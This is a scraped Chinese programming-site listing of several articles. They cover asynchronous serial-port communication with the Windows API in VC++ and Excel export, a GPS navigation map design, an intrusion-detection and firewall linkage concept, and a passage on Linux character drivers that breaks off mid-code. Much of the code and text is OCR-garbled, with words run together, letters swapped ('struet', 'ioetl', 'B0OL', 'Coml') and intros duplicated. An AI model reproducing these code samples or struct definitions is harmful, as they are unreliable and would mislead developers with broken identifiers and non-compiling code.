美工設計 admin 未知 2012-06-17 16:39 VC下利用WindowsAPI異步串口通信軟件設計 http://www.ionrce.tw/biancheng/20120616953.html 引言 在現代工業監測和控制領域中,正確對前端設備進行 監控在整個生產過程中起著十分重要的作用 本研究在 VC++環境下,采用WindowsAPI函數研究開發了現場溫 度實時監控系統,通過 引言 在現代工業監測和控制領域中,正確對前端設備進行 監控在整個生產過程中起著十分重要的作用 本研究在 VC++環境下,采用WindowsAPI函數研究開發了現場溫 度實時監控系統,通過RS485接口在上位機端完成溫度控 制器現場數據的實時采集,同時將采集到的數據存儲在 Excel中,以方便查詢和后續處理 1 串口通信模塊 串口通信作為計算機與外部設備之間常用的通信方 法之一,在工業控制領域 數據采集和實時監控系統中得 到廣泛應用 目前,在Windows環境下實現串行通信主要 有以下兩種方式: (1)采用MSComm串行通信控件 這種方 法在編程時非常方便,其優點在于使用者不必花費大量時 間去了解復雜的 API函數,但控件占用的資源多,靈活性 差; (2)調用WindowsAPI函數 由于 API函數具有比較強 的通信功能,可以與多線程技術和自定義消息機制的異步 串口通信相結合,能提高串口通信的效率和程序的靈活 性 所以,本系統采用API函數編寫串口通信程序,需要建 立串口通信類CCommPort,在主對話框中調用類的對象來 完成數據的接收處理和存儲任務 1.1 打開串口 Win32系統使用CreateFile()函數來打開串口 打開 串口的通信方式有兩種:一種是同步方式;另一種是異 步方式 在同步方式下, API函數會阻塞直到操作完成 后才能返回;而在異步方式下, API函數會立即返回,操 作在后臺進行,避免線程阻塞,故采用異步方式打開 為了使用異步I/O方式打開串口,在打開串口時,必須 指定文件的屬性為FILE_FLAG_OVERLAPPED[1] : HANDLEm_hComm; //定義端口句柄 m_hComm=CreateFile("Coml", GENERIC_READ| GENERIC_WRITE, 0, NULL, OPEN_EXISTING,FILE_ ATTRIBUTE_NORMAL|FILE_FLAG_OVERLAPPED, NULL); if(m_hComm==INVALID_HANDLE_VALUE|| m_hComm==NULL) { m_hComm=NULL; returnFALSE; } return TRUE; 2 配置串口 在打開通訊設備句柄后,常需要對串口進行一些初 始化配置工作 這需要通過一個DCB結構來進行 DCB 結構包含了諸如波特率 數據位數 奇偶校驗和停止位數 等信息 一般用CreateFile打開串口后,可以調用Get- CommState(m_hComm, &dcb)讀取當前串口設備控制塊 DCB設置,要修改串口的配置,應該首先修改DCB結構, 然后再通過SetCommState(m_hComm, &dcb)將其寫入[2] 在用ReadFile和WriteFile函數讀寫串口時,需要考 慮超時問題 進行異步讀寫超時控制設置時,通過 COMMMTIMEOUTS結構設置超時,再用 SetCommTime- outs(m_hComm, &stComTimeOuts)將結果寫入 本程序中 對COMMMTIMEOUTS配置的代碼如下: COMMTIMEOUTSstComTimeOuts; stComTimeOuts.ReadIntervalTimeout=0; stComTimeOuts.ReadTotalTimeoutMultiplier=0; stComTimeOuts.ReadTotalTimeoutConstant=20; stComTimeOuts.WriteTotalTimeoutMultiplier=0; stComTimeOuts.WriteTotalTimeoutConstant=20; SetCommTimeouts(m_hComm,&stComTimeOuts); 1.3 讀寫串口 本程序采用ReadFile()函數和WriteFile()函數讀寫串 口值,如果操作成功,這兩個函數都返回TRUE 需要注 意的是,當 ReadFile和 WriteFile的返回值為 FALSE 時, 不一定就是操作失敗,線程應該調用 GetLastError()函數 分析返回的結果 例如,在異步I/O方式時如果操作還未 完成函數就返回,那么函數就返回 FALSE,而且當 Get- LastError 函數返回 ERROR_IO_PENDING,這說明讀寫 操作還未完成,即操作轉入后臺繼續運行[2] 有兩種方法 可以等待操作完成:一種方法是用 WaitForSingleObject 等待函數來等待 OVERLAPPED結構的 hEvent成員;另 一種方法是調用GetOverlappedResult函數等待 主要代 碼如下: charlpInBuffer[1024]; DWORDdwBytesRead=1024; B0OLbReadStat; OVERLAPPEDm_osRead; bReadStat=ReadFile(m_hComm, lpInBuffer, dwBytes- Read, &dwBytesRead, &m_osRead); if(!bReadStat)//如果ReadFile函數返回FALSE { if(GetLastError()==ERROR_IO_PENDING) { GetOverlappedResult(m_hComm,&m_osRead,&dw- BytesRead,TRUE);//GetOverlappedResult函數的最后一個 參數設為TRUE,函數會一直等待,直到讀操作完成或由 于錯誤而返回 return((int)dwBytesRead); }#p#分頁標題#e# return0; } 1.4 關閉串口 串行接口以文件的形式打開,還需要以文件的形式 將其關閉 利用API函數關閉串口時,只需使用Create- File函數返回的句柄作為參數調用CloseHandle即可: CloseHandle(m_hComm); 以上步驟完成后,還需在主對話框中調用CComm- Port類成員函數,完成串行通信任務 需在主對話框中定 義全局變量m_CommPort作為新建通信類CCommPort的 對象,然后添加串口通信自定義的消息響應函數 0nComm()來完成對串口接收到的數據處理的任務 2 數據寫入EXCEL 由于系統需要保存實時接收到的數據,因而可在VC 中調用 EXCEL,將串口接收到的數據存儲到 Excel文 件中 (1)打開Excel,將數據導入Excel表中 為了能夠調用 Excel 的接口,具體步驟如下:打開 MFCClassWizard 窗 口,選擇Automation->AddClass->Fromatypelibrary,進 入 Excel 的類型庫 選取 C:\ProgramFiles\MicrosoftOf- fice\office\Excel9.OLB,再根據Excel對象的需要,選擇所 需C++驅動程序類 本例選擇_Application Workbooks _Workbook Sheets _Worksheet Range,加入新類 所選的 新類以及頭文件Excel9.h和源文件Excel9.cpp一并加入 工程 另外,在TemperControlDlg.cpp文件的頭部需要添 加頭文件#include"excel9.h" 又因為 Excel本身也是一 個實現自動化的COM組件,需初始化COM庫,找到App 類的InitInstance()函數,在其中添加AfxOleInit()函數的調 用,初始化COM庫代碼如下: if(!AfxOleInit())//初始化COM庫 { AfxMessageBox(" 初始化COM失敗") returnFALSE; } 創建Excel模板的步驟如下:第一,創建作為模板的 一個工作簿 第二,單擊" 文件" 菜單中的" 另存為",并 為該文件命名,本例使用 "temp" 作為文件名稱;在 " 保 存類型" 框中,選擇" 模板"(*.xlt)的類型文件 第三, 擊" 保存" 按鈕,完成Excel模板創建 (2)打開對話框資源,插入一個按鈕, caption為" 數據 導入",添加響應函數,關鍵程序代碼如下: voidCTemperControlDlg::OnBtnDataImport() {_Applicationm_ExlApp; _Workbookbook; _Worksheetsheet; Workbooksbooks; Worksheetssheets; Rangerange; COleVariant covTrue((short)TRUE), covFalse((short)FALSE), covOptional((long)DISP_E_PARAMNOTFOUND, VT_ERROR); m_ExlApp.CreateDispatch("Excel.Application");//創建 一個Excel應用 m_ExlApp.SetVisible(TRUE);//設置Excel為可見 books=m_ExlApp.GetWorkbooks(); sheets=books.Add(COleVariant("c:\\temp.xlt"));// 用模 板文件建立新文檔 book.AttachDispatch(m_ExlApp.GetApplication()); sheets=book.GetSheets();//得到sheets sheet=sheets.GetItem(COleVariant((short)1));// 得到 sheetl sheet.Activate();//激活sheetl range=sheet.GetRange(COleVariant(A1), COleVariant (A1)); //設置表格內容 range.BorderAround(COleVariant((short)1),(long)2,(long) 1,covOptional); range.SetValue(COleVariant(" 時間")); range.SetHorizontalAlignment(COleVariant((short)3));// 設置水平對齊 range.SetVerticalAlignment(COleVariant((short)2));// 設 置垂直對齊 range.SetColumnWidth(COleVariant((short)15)); range=sheet.GetRange(COleVariant("B1"),COleVariant ("G1"));//選定范圍 range.Merge(COleVariant((short)1));//合并單元格 range.BorderAround(COleVariant((short)1),(long)2,(long) 1,covOptional); range.SetValue(COleVariant(" 溫度顯示值")); range.SetHorizontalAlignment(COleVariant((short)3)); range.SetVerticalAlignment(COleVariant((short)2)); range.SetColumnWidth(COleVariant((short)10)); { COleSafeArraysaRet; DWORDnumElements[]={1,7}; saRet.Create(VT_VARIANT,2,numElements); FillSafeArray("接收時間",0,0,&saRet); FillSafeArray("柜內溫度1",0,1,&saRet); FillSafeArray("柜內溫度2",0,2,&saRet); FillSafeArray("室內溫度1",0,3,&saRet); FillSafeArray("室內溫度2",0,4,&saRet); FillSafeArray("室外溫度",0,5,&saRet); FillSafeArray("監控加熱器",0,6,&saRet); range=sheet.GetRange(COleVariant("A1"),COleVariant ("G1")); range.SetValue(COleVariant(saRet)); saRet.Detach(); } //利用 FillSafeArray函數可將串口接收到的實 時數據保存到Excel表中 SaveRealTimeData(&saRet); //釋放對象#p#分頁標題#e# range.ReleaseDispatch(); sheet.ReleaseDispatch(); sheets.ReleaseDispatch(); book.ReleaseDispatch(); books.ReleaseDispatch(); m_ExlApp.ReleaseDispatch(); } 3 結束語 本文利用基于 Windows 的 API 函數進行串口通信 編程,實現了溫度控制器與上位機之間數據的交換,并且 將采集到的實時數據及時保存在Excel中,供用戶分析 和處理,起到了很好的監控效果。 http://www.ionrce.tw/uploads/allimg/120616/1_06161Z93Y329.gif vc,windowsAPI,異步串口通信 各類編程 admin 未知 2012-06-16 19:04 基于vc的導航電子地圖的軟件系統 http://www.ionrce.tw/biancheng/20120615952.html 1系統開發環境概述 3.1.1硬件環境 本導航軟件系統所采用的硬件環境有GPs接收機和Pc計算機。 GPS定位接收機選用的是韓國Gstar串口模塊GS一216GPS一體機G一MOUSE/RS232 串口GPS接收機。 GS一216 1系統開發環境概述 3.1.1硬件環境 本導航軟件系統所采用的硬件環境有GPs接收機和Pc計算機。 GPS定位接收機選用的是韓國Gstar串口模塊GS一216GPS一體機G一MOUSE/RS232 串口GPS接收機。 GS一216MG一 MOuSEGPs接收器內置最新的低噪聲、高靈敏度、低功耗MTK主芯 片,跟蹤能力特別強,擁有32個通道,可同時快速追蹤32顆衛星。內置GPS天線, 與業界其他產品相比,整體接收信號更靈敏、更便捷。可實現室內跟蹤定位,攻破了業 內普遍存在的室內定位問題。 最值得一提的是,GS一216MG一 MOUSEGPS產品可支持USB、RS一232、PSZ、S端 子、航空接頭等多種接口,能滿足各種產品要求,因此使得其適用范圍更加廣泛,從一 般的汽車導航、汽車防盜、電子狗、tracking、保全系統、個人定位、各種調查到農業應 用等,并能在各種惡劣環境下滿足定位需求。 G一 MouSEGPS接收器使用充電電池便可以持續保存時鐘、內存信息,不必擔心隨 時缺電的問題。 該產品外盒采用進口ABS材料,外接纖維加強拉力高屏蔽線材,結實耐用。同時, 連接到筆記本電腦、車載電話或其他設備上即可升級為導航儀。下圖為該GPS接收器 的實體照片。 該導航儀的輸出協議如下: 數據標準—WGS一 84NMEA1083 支持數據格式—GGA,GSA,GSV,RMC 信號格式—波特率:9600,數據位:.8,校驗位:無,停止位: 計算機配置為: 處理器—   AMDAthlon64X2Dual第3章GPS導航電子地圖的軟件系統設計 內存—ZG 顯示器—PHILIPS 3.1.2軟件環境 本GPS車載導航軟件系統所采用的軟件環境主要包括操作系統,開發平臺及開發 組件。具體如下: 32位 WindowsXP操作系統。 鑒于軟件開發平臺對數據處理速度、可拓展性、數據庫等方面的影響,以及本人對 C++語言比較熟悉,所以采用 MierosoftVisualC++6.0開發平臺。 本文采用Mapx控件來實現電子地圖的基本功能,采用Mscomm控件來實現串口 通訊功能,建議采用較成熟穩定的版本。所以采用的為 MaphifoMapx5.02.26中文版和   MierosoftCommunieationsControl,version6.0。 3.2系統設計的總體規劃 GPS車載導航電子地圖系統是綜合了多門前言學科的一種應用研究,涉及到GPS、 GIS、軟件編程、串口通信等學科知識和技術,在領域上也是現代空間信息科技的一部 分。從理論知識到具體的實際應用的進行過程中,每一個步驟都要根據現有的情況進行 具體細致研究。本文在綜合各方面知識的基礎上,對GPS導航電子地圖系統進行了實 際的研究和應用開發。下面先對整個系統進行總體框架設計。 3.2.1系統的總體框架 現代GPS導航系統所涉及到的部分主要包括:GPS衛星定位系統,導航計算機, 導航計算機的載體(一般為車輛),GPS接收機,導航定位軟件系統以及導航系統的使 用者。 在整個導航系統的設計過程中,要明確各個組成部分要完成的功能,從而分別針對 各個部分進行設計,然后進行整合。GPS導航定位系統主要實現GPS信號的發送功能, 然后通過GPS接收機(一般直接在車輛上)接收信號,再通過導航計算機對信號進行 處理并實時顯示在電子地圖上,而電子地圖系統則實現更豐富的諸如折線距離計算,圖 層控制等功能。 系統的總體運行結構如下圖所示: 3.2.2系統的模塊結構 本文中的GPS導航電子地圖系統,主要包括以下幾個模塊:GPS模塊,導航電子地圖 基本功能模塊,GPs數據與電子地圖數據的匹配算法模塊。將每個模塊實現后,再將它 們組織起來形成一個邏輯整體,從而完成GPS導航電子地圖系統的所有功能。各模塊 的組織結構圖如下: 實現整體系統之前,要分別對各個模塊進行具體的設計。具體分析清楚每個模塊的 作用以及各模塊之間的相互關系,下面對各個模塊進行具體的說明。 GPS模塊,該模塊主要包括GPS數據的接收模塊、GPS數據的提取與顯示模塊兩 部分。在進行數據接收之前,首先要進行串口設置,并為GPS接收器接上+5v電源,#p#分頁標題#e# 然后通過串口接收GPS數據,并對GPS數據進行提取和顯示的處理。這一模塊和GPS第3章GPS導航電子地圖的軟件系統設計 與電子地圖數據匹配算法模塊有很密切的聯系,因為GPS數據最后顯示在電子地圖上 之前要先進行坐標的匹配。具體流程圖如下圖: 導航電子地圖的基本功能模塊,該模塊主要包括電子地圖的放大、縮小、漫游、折 線距離查詢以及圖層控制功能。首先通過添加控件和基本的編程實現電子地圖的加載, 再通過控件提供的調用函數實現電子地圖的放大、縮小、漫游和圖層控制功能,最后利 用控件提供的自定義函數工具編寫實現折線距離計算的程序。這些功能的具體實現在第 4章進行詳細的闡述。 GPS與電子地圖數據匹配算法模塊,該模塊主要是GPS信息在電子地圖上顯示之 前先將提取的經緯度信息進行算法的處理,從而實現更加精確地定位。這一模塊與GPS 模塊組成一個整體。具體的實現主要在第5章闡述。 3.2.3軟件系統主要功能 一個合格的GPS導航電子地圖系統,要能夠通過GPS對車輛實時跟蹤。并且能夠 在不同的縮放比例下,顯示自己所出的位置。同時也應該具備電子地圖的基本功能如放 大、縮小、漫游等。所以該軟件系統具備的具體功能如下: 第一,GPS定位功能,利用串口接收GPS數據,經過處理最終將GPS數據顯示在 電子地圖上。 第二,電子地圖的基本功能。放大和縮小功能能夠在一定縮放比例內實現,既可以 利用縮小功能在宏觀上觀察整個地圖,也可以利用放大功能觀察微小的地方。漫游可以 幫助用戶進行地圖的拖拽,從而找到目的地。圖層控制功能可以幫助用戶自由添加或者 刪除圖層,從而只在電子地圖上顯示用戶想看到的相關圖層信息,此外在圖層控制選項 上也可以查看當前位置的坐標以及設置圖層的縮放級別。 第三,折線距離計算可以幫助用戶通過對鼠標的拖拽在地圖上畫出任意折線路徑, 然后在窗口的狀態欄將顯示當前所畫的折現路徑總和。在用戶規劃路徑時很有幫助作 用。 第四,位圖的添加與刪除功能。可以通過添加位圖來表示導航車輛在電子地圖上的 實時位置,當導航結束時清除車輛位圖。 第五,開啟GPS數據與電子地圖數據匹配算法的功能,利用此功能可以矯正GPS 數據,從而達到更加精準的定位效果。 3.3本章小結 本章首先介紹了GPS導航電子地圖系統開發的硬件環境和軟件環境,然后對整個 系統進行了總體規劃,給出了總體框架和模塊結構,并對該系統的主要功能進行了闡述。 http://www.ionrce.tw/uploads/allimg/120615/1-1206151G55V92-lp.jpg vc,導航電子地圖,gps 各類編程 admin 未知 2012-06-15 17:14 入侵檢測與防火墻技術的聯動平臺研究 http://www.ionrce.tw/xitonganquan/20120614951.html 通過分析入侵檢測系統和防火墻技術的各自優勢,認為實現防火墻的數據過濾與入侵檢測的實時監控間的有效互補 是非常重要的。提出了網絡安全事件的基本分類方法, 定義出入侵檢測系 通過分析入侵檢測系統和防火墻技術的各自優勢,認為實現防火墻的數據過濾與入侵檢測的實時監控間的有效互補 是非常重要的。提出了網絡安全事件的基本分類方法, 定義出入侵檢測系統提供給防火墻的信息格式, 采用向入侵檢測系統和防火 墻中嵌入相關模塊的方法, 實現了入侵檢測系統對攻擊行為的自動響應, 從而實現了防火墻與入侵檢測系統間的協同工作。這樣無 論是來自內網還是外網的攻擊, 都可以被聯動平臺識別并自動響應。  互聯網的飛速發展、 網絡技術的巨大進步給社會 生活各個方面帶來了深刻影響,人們的工作生活與網 絡系統緊密相關。網絡系統已成為現代生活中不可或 缺的重要組成元素,同時病毒、 木馬、 黑客攻擊、 網上經 濟犯罪、 垃圾電子郵件等各種網絡安全威脅也伴隨產 生,隨時在浪費我們的時間、 破壞我們的網絡信息系 統。 保護網絡系統安全成為網絡研究中一個重要話題。 網絡安全的研究目標是通過各種安全防御技術以 及安全管理機制實現網絡信息系統的完整性、 機密性 和可用性。 實現網絡系統安全需要有兩道防線: 安全保 護是第一道防線, 包括安全細則、 安全配制和各種安全 防御措施,采用的主要技術手段有信息加密、 防火墻、 安全路由器、 身份認證、 訪問控制等。但這些技術僅在 防止非法入侵上有一定的效果,一個安全的信息系統 除了要采取防御措施之外, 還應有一定的實時監控、 攻 擊與反攻擊的能力。 入侵檢測技術用于解決計算機網絡系統的安全問 題,作為系統信息安全的第2 道防線,是防火墻的合理 補充,它能幫助系統對付網絡攻擊,擴展了系統管理員 的安全管理能力, 增強了信息系統的完整性。 1 入侵檢測技術剖析 入侵檢測系統是實現入侵檢測功能的檢測技術與 軟件算法的結合體, 通過對計算機網絡或計算機系統 中的若干關鍵點進行監控以收集行為特征信息, 并結 合已有的知識經驗對行為進行分析判斷, 從而發現網 絡或系統中是否有違反安全策略的行為, 并依據事先 已定義好的響應方式做出響應處理。 在不同的網絡環境和不同的系統安全策略下, 入 侵檢測系統的具體實現也會有所不同。從功能邏輯來 講,入侵檢測系統通常包含 4 個部分: 行為模式庫、 數 據采集模塊、 入侵檢測模塊和響應處理模塊。 ¹ 行為模式庫為入侵檢測系統提供必要的數據信 息支持,是進行入侵檢測的一個前提。º 數據采集模 塊:主要負責從系統或網絡關鍵點處捕獲原始數據, 并 對采集到的數據做預處理工作,將最終的能夠反映系 統或網絡行為特征的數據提交給入侵檢測模塊。» 入 侵檢測模塊又稱入侵分析引擎,負責從數據采集模塊 處接受行為特征數據,并將行為特征數據與已有的模 式知識庫進行模式匹配,以分析行為事件是否為非法 入侵, 最終的檢測結果傳遞給響應模塊作為其輸入數 據。¼響應處理模塊依據已經定義好的安全策略對行 為事件做出決策, 決定做何種響應動作,是進行日志記 錄還是進行響應。 當有網絡攻擊發生且被入侵檢測系統檢測到后, 響應模塊會依據相應的響應策略做出決策。如果需要 響應攻擊,可以是主動響應或自動響應兩種方式[ 1] 。 若 在網絡環境中,有防火墻設備。 其作為進出內網的必要 通道,可以根據訪問控制規則對外來訪問進行攔截。 若 能實現入侵檢測與防火墻間的聯動, 由防火墻實現對 攻擊者的攔截,將很大程度上提高響應的效率。 2 防火墻技術剖析 防火墻來自建筑結構的安全技術, 指在樓宇里起 分隔作用的墻。 在網絡安全理論體系里,防火墻是一個 由軟件和硬件設備組合而成, 位于內部網和外部網之 間、 專用網與公共網之間的一道防御系統, 目的是防止 外部網絡用戶未經授權的訪問。 使用防火墻,使內部網 與外部網之間建立起一個安全網關, 能夠保護內部網 免受非法用戶的侵入[ 2] 。 防火墻是網絡安全基礎建設不可或缺的角色, 但 隨著攻擊技術的發展,當前的防火墻其自身的局限性 也越來越明顯,主要體現在: ¹ 防火墻無法防范繞過防 火墻的攻擊; º 防火墻不能防止來自內網的攻擊; » 防#p#分頁標題#e# 火墻無法發現攻擊源;¼防火墻自身也會存在問題或 受到外來攻擊。 入侵檢測系統能幫助系統對付網絡攻擊,擴展了 系統管理員的安全管理能力(包括安全審計、 監視、 進 攻識別和響應) ,增強了信息系統的完整性。入侵檢測 系統通過監視網絡資源,主動尋找分析入侵行為的跡 象,是一種動態的安全防護技術,可以選用入侵檢測技 術來彌補防火墻的不足,使兩者充分發揮各自優勢, 共 同維護網絡系統的安全。 3 搭建入侵檢測與防火墻的聯動平臺 從對入侵檢測與防火墻技術的分析中可以看出, 入侵檢測系統的不足在于無法有效阻止攻擊行為, 而 防火墻的訪問控制機制恰好彌補了入侵檢測系統在這 方面的不足。另一方面,入侵檢測作為防火墻后的第2 道安全防線, 可以檢測出繞過防火墻到達網絡內部的 攻擊,又可以彌補防火墻的不足。 防火墻與入侵檢測系 統的功能特點和局限性決定了它們彼此需要對方, 且 不能相互取代。實現防火墻的數據過濾與入侵檢測的 實時監控之間的有效互補在網絡安全解決方案實施中 非常重要[ 3- 4] 。 防火墻與入侵檢測系統間聯動的基本原理是: 由 兩者搭建起的安全體系中, 當入侵檢測系統檢測到入 侵行為,且需要阻斷該入侵行為時,將能夠啟動聯動機 制,主動通知防火墻立刻做出相關策略的動態修改, 以 實現對攻擊源的攔截, 從而達到主動響應、 有效控制的 目的。 真正意義的聯動系統要依靠統一的安全集成框 架、 標準的通信協議。 聯動系統實現的關鍵是如何表示 出入侵檢測系統為防火墻所提供的信息以及防火墻依 據這些信息應如何去執行[ 3] 。在聯動系統的研究過程 中,需要解決3 個問題: ¹ 定義出通用安全事件類型并 對其進行表示; º 入侵檢測系統為防火墻生成訪問控 制規則,或提供規則生成時所需要的信息; » 入侵檢測 與防火墻通信使用的協議。 各類安全產品的安全事件可以抽象為基本防外安 全事件集和基本安全事件集。對于只需防止外來攻擊 的安全事件歸至基本防外安全事件集, 其他原安全事 件均屬于基本安全事件集。防火墻的規則集包括的基 本信息有:源IP 地址和源端口號、 目的IP 地址和目的 端口號。入侵檢測系統向防火墻提供信息時要至少包 含這些信息, 同時再增加安全事件類型、 攻擊時間。為 了保證傳送信息的保密性, 防火墻與入侵檢測系統通 信時,選用安全套接層SSL,可有效防止信息被竊聽。 入侵檢測系統與防火墻的安全聯動模型如圖1 所 示。 在該聯動模型中,防火墻系統中嵌入一個功能模 塊M,入侵檢測系統中嵌入另一個功能模塊N。當入 侵檢測系統檢測到攻擊后, 根據響應策略來決定是否 要實現與防火墻的聯動, 如果需要將啟動N 模塊, 并 向防火墻M 模塊發送信息(源IP 地址和端口號、 目的 IP 地址和端口號、 安全事件類型、 攻擊時間) ; 防火墻 M 模塊接收到信息后動態生成過濾規則,當攻擊停止 所生成的過濾規則要立即刪除,以保證以后的正常通 信。該聯動模型通過依靠防火墻的過濾機制來實現入 侵檢測對攻擊行為的自動響應,并及時地自動更新防 火墻過濾規則,實現兩者之間的協同工作。 4 結 論 通過向入侵檢測與防火墻中嵌入相關功能模塊, 在入侵檢測系統檢測到攻擊行為時, 依據響應策略決 定是否啟動模塊來聯動防火墻以有效攔截攻擊行為, 從而使得入侵檢測系統可以依靠防火墻的過濾機制來 實現對攻擊行為的自動響應, 實現了兩者之間的協同 工作。 這樣既彌補了防火墻無法檢測來自內網攻擊的缺點, 又彌補了入侵檢測系統無法自動響應攻擊的缺點。 目前實現入侵檢測與防火墻間聯動的理論主要有 兩種: ¹ 將入侵檢測系統嵌入到防火墻中; º 通過開放 接口的研究來實現防火墻與入侵檢測系統的各組件間 的聯動。網絡安全聯動系統的未來研究趨勢是將理論 觀點付諸于實踐,真正提出一個通用的安全聯動解決 方案,為安全產品的生產提供理論依據及技術支撐, 從#p#分頁標題#e# 而實現由理論提升至技術, 實現安全產品之間的真正 聯動, 為網絡的安全穩定運行提供行之有效的安全解 決方案。 http://www.ionrce.tw/uploads/allimg/120614/1-1206141216211P-lp.jpg 入侵檢測,防火墻技術 系統安全 admin 未知 2012-06-14 12:11 linux字符設備驅動的程序設計 http://www.ionrce.tw/linux/20120612950.html 字符設備是linux系統中應用最廣泛的一類設備,它能夠像字節流一樣順序訪問, 通過直接傳輸來自用戶進程的數據而不經過緩存。字符設備驅動的優點在于它不和硬 件相關,因為每臺計 字符設備是linux系統中應用最廣泛的一類設備,它能夠像字節流一樣順序訪問, 通過直接傳輸來自用戶進程的數據而不經過緩存。字符設備驅動的優點在于它不和硬 件相關,因為每臺計算機都有內存。字符設備驅動只是操作某些內存,通過k」11alfoc進 行分配。任何人都可以編譯和運行,而且可以將其移植到Linux支持的所有計算機平 臺上。   4.1Linux字符設備驅動結構 編寫Linux字符設備去冬程序首先要熟悉三個結構體,即file_operations(文件 操作)、file(文件)、和inode(節點)。 4.1.1 file--operations結構體 file一perations為應用程序提供接口,是系統調用和驅動程序光澈的重要數據結構。 結構體中每一個成員都對應著一個系統調用。/dev目錄下的設備文件和驅動程序的連 接就是通過file_operations結構體建立的。這個結構體的定義在內核源碼的 kemel/linux/fs。h中。fil屯。peration結構中的每個成員都是指向函數的指針,指向驅動 中的函數,這些函數實現一個特別的操作,或者對于不支持的操作留置為NULL。當 指定為NuLL指針時內核確切的行為針對每個函數是不同的。structfil處operations是 一個字符設備把驅動的操作和設備號聯系在一起的接口,是一系列指針的集合,每個 被打開的文件都對應于一系列的操作,這就是file一perations,用來執行一系列的系統 調用。 file_operations結構體中的成員函數是字符設備驅動程序設計的主體內容,這些函 數會在應用程序進行Linux的open、read、write、elose和ioetl等系統調用時最終被調 用。file_operations結構體在2.6版本內核中的定義如下:  Struetfile_operations{  stroCtmodule*owner;//擁有該結構的模塊的指針,一般為 THISMODULES  loff--t(*11Seek)(struetfile*,loff--t,int);//用來修改文件當前的讀 寫位置   ssiZe_t(*read)(struetfile*,Char_user*,size_t,loff_t*);// 從設備中同步讀取數據  ssiZe_t(*aio_read)(struetkioeb*,ehar_user*,size_t,loff--t); //初始化一個異步的讀取操作  ssizet(*write)(struetfile*,  eonsteharuser*,sizet,lofft); //向設備發送數據  ssize_t(*aio_write)(struetkioeb*, eonstehar_user*,size_t,loff_t); //初始化一個異步的寫入操作;  int(*readdir)(Structfile*,void*,findir_t);_//僅用于讀取目 錄,對于設備文件,該字段為NULL   unsignedint(*poll)(struetfile*, Struetpoll_table_struet*);//輪 詢函數,判斷目前是否可以進行非阻塞的讀取或寫入  int(*ioetl)(struetinode*, struetfile*, unsignedint, unsignedlong); //執行設備工/O控制命令  long(*unloeked_ioetl)(struetfile*, unsignedint, unsignedlong);// 不使用BLK文件系統,將使用此函數代替 1octl long(*eompat_i。 etl)(struetfile*, unsignedint, unsignedlong);// 在64位系統上  int(*mmap)(struetinode*, struetfile*, Struetvm--area_struet*);// 用于請求將設備內存映射到進程地址空間  int(*open)(struetinode*, struetfile*);//打開  int(*flush)(struetfile*);  int(*release)(struetinode*, Struetfile*);//關閉  int(*syneh)(struetfile*, Struetdentry*, intdatasyne);//刷新等 待處理數據  int(*aio_fsyne)(struetkioeb*, intdatasyne);//異步fsyne int(*fasyne)(int, Struetfile*,int);//通知設備FASYNC標志位發 生變化  int(*loek)(struetfile*,int, Struetfile_loek*);//用于實現文件鎖 定,鎖定是常規文件不可缺少的特性,但設備驅動程序幾乎從來不會實現這個方法  ssize_t(*ready)(struCtfile*,  eonststruetiovee*, unsignedlong,loff--t *);   Ssize_t(*writev)(Struetfile*,  eonststruetiovee*, unsignedlong,lof幾t *);//用來實現“分散/聚集”型的讀寫操作。應用程序有時需要進行涉及多個內 存區域的單次讀或寫操作,利用上面這些系統調用可完成這類工作,而不必強加額外 的數據拷貝操作。  ssiZe_t(*sendfile)(struCtfile*,loff--t*,size_t,read_aetor_t,void *);  ssize_t(*sendpage)(struetfile*, struetpage*,int,size_t,loff--t *,int);   unsignedlong(*get_unmapped_area)(struetfile*, unsignedlong,unsigned 10ng, unsignedlong, unsignedlong);//進程地址空l間找到一個將底 層設備中的內存段映射的位置 int(*check_flags)(int);//允許模塊檢查傳遞給fcntl調用的標志#p#分頁標題#e#  int(*dir_notify)(struetfile*filp,  unsignedlongarg);//僅對文件系 統有效,驅動程序不必實現  int(*floek)(struetfile*,int,  streutfileloek*); 可以看到結構體 file_叩erations包含了很多操作,但是在實際設備驅動程序中 只會用到其中很少一部分。  4.1.2 file結構 file結構也是設備驅動中非常重要的數據結構,它只出現在內核代碼中,file結構 代表一個打開的文件。在file結構體中很多成員并不對設備驅動程序有用,所以在這 里只介紹一些常用的重要成員:  Structdentry*f一dentry;//該成員是文件對應的目錄項結構  Structfile_oPerations*f--oP;//該成員是定義與文件相關聯的操作  unsignedintf_flags;//該成員是文件標志,表示文件的權限類型 mode_t幾mode;//用于確定文件的讀寫權限 loff_tf_pos;//用來確定當前的讀寫位置 void*PriVate_data;//跨系統調用時間保存狀態信息的資源 file結構體有內核在調用open操作時創建,并傳遞給在文件主操作的任何函數, 直到最后關閉。當文件的所有實例都關閉后,內核釋放此數據結構。   4.1.3 inode結構 在Linux設備驅動開發中,inode結構表示具體的文件,而file結構表示打開的文 件描述符。對于單個文件來說,可能會有許多表示打開的文件描述符file結構,它 們都指向了單個的inede結構。inode結構中的靜態信息取自物理設備上的文件系統, 由文件系統指定的函數填寫,它只存在于內存中,可以通過inode緩存訪問。雖然每個 文件都有相應的inode結點,但是只有在需要的時候系統才會在內存中為其建立相應的 inode數據結構。 inode結構包含了大量的文件信息,但通常情況下對設備驅動有用的只有兩個:    devt1rdev;//對表示設備文件的inode結構,該成員包含了真正的設備編號   structcdev*1cdev;//該成員表示字符設備的內核的內部結構,當inode指向一個 字符設備文件時,該字段包含了指向 Structedev結構的指針 inode是非常中要的一個數據結構,它包含文件在系統中被創建的信息。每一個 文件都有一個唯一的inode結構通過inode號碼標識。每個inode都給文件提供了一些 很重要的信息。  4.2Linux字符設備驅動的開發 字符設備驅動那個開發的一般流程是: 收集足夠的外設硬件信息,如設備數據格式、中斷號、采用串口還是并口,對它 們初始化需要做哪些工作,讀寫設備時涉及到哪些寄存器。 [1〕完成函數init_module和elean_module。init_module包括檢查外設是否存 在、初始化該設備涉及到的硬件和數據結構、注冊設備以及向系統申請中斷。 cleanup_module函數包括對硬件的清零、釋放內存、釋放中斷以及注銷設備。 〔2〕完成函數chr_interruPt。修改程序開頭定義的中斷變量,填入外設的中斷 號,讀取寫入外設的數據并進行簡要的處理,讀或寫操作完成后喚醒其它睡眠的進程。 「3]實現 file_oPerations結構體中的一些重要成員函數,如read、write和 ioetl等。 字符設備驅動模塊的一般編程架構如下洲: /*設備結構體*/   struetxxxxdevt   struetedevedev  xxxxdev; //設備驅動模塊加載函數     statieintinitxxxxinit(void) Cdev_init(&xxxx_dev.edev,&xxx_fops);   xxxxdev.edev.owner=THISMODULE; //獲取字符設備號 if(xxxx_major) { 